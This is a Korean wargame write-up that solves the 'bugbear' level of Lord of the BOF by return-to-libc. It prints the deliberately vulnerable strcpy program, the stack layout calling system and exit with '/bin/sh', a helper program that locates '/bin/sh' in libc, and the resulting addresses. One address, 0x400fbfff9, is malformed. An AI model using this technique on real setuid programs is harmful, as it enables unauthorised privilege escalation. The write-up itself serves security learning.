Phantom

[Darkknight] darkknight -> bugbear 풀이 본문

Pwnable/[Wargame]Load of Bof

[Darkknight] darkknight -> bugbear 풀이

Ph4nt0m_ 2015. 1. 6. 13:38
반응형

Colored By Color Scripter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/*
        The Lord of the BOF : The Fellowship of the BOF
        - bugbear
        - RTL1
*/
 
#include <stdio.h>
#include <stdlib.h>
 
main(int argc, char *argv[])
{
    char buffer[40];
    int i;
 
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
 
    if(argv[1][47] == '\xbf')
    {
        printf("stack betrayed you!!\n");
        exit(0);
    }
 
    strcpy(buffer, argv[1]); 
    printf("%s\n", buffer);
}



이번 단계는 RTL 문제입니다


RTL이란 Return-To-Libc의 약자로 NX와 같은 것을 우회하기 위해 나온 기법입니다

스택기반의 BOF는 Retn주소를 덮어 씌워 쉘코드로 가게하는데에 반해

RTL의 경우 Retn 주소를 libc 공유 라이브러리의 함수로 덮어쓰기 때문에 쉘코드가 필요 없습니다


쉘 획득 과정 페이로드


먼저 system("/bin/sh")를 실행하기 위해

system함수와 system함수의 리턴주소인 exit함수, 그리고 /bin/sh가 담겨있는 주소를 찾을겁니다


스택에는

          buffer                     ret                 system's ret                 arg

 NOP + SFP

system 

exit 

/bin/sh 

             44                         4                         4                           4

이렇게 스택에 넣을 것입니다


먼저 system 함수와 exit의 주소를 알아냅니다



그리고 /bin/sh의 주소를 알아냅니다


1
2
3
4
5
6
7
8
#include <stdio.h>
 
int main(){
    long shell = 0x40058ae0;
    while(memcmp((void *)shell, "/bin/sh", 8))
        shell++;
    printf("\"/bin/sh\" is at [ %#x ] \n",shell);
}




system = 0x40058ae0

exit = 0x400391e0

/bin/sh = 0x400fbfff9


명령문 작성하기

 





이로써 bugbear의 권한을 얻었습니다

반응형
Comments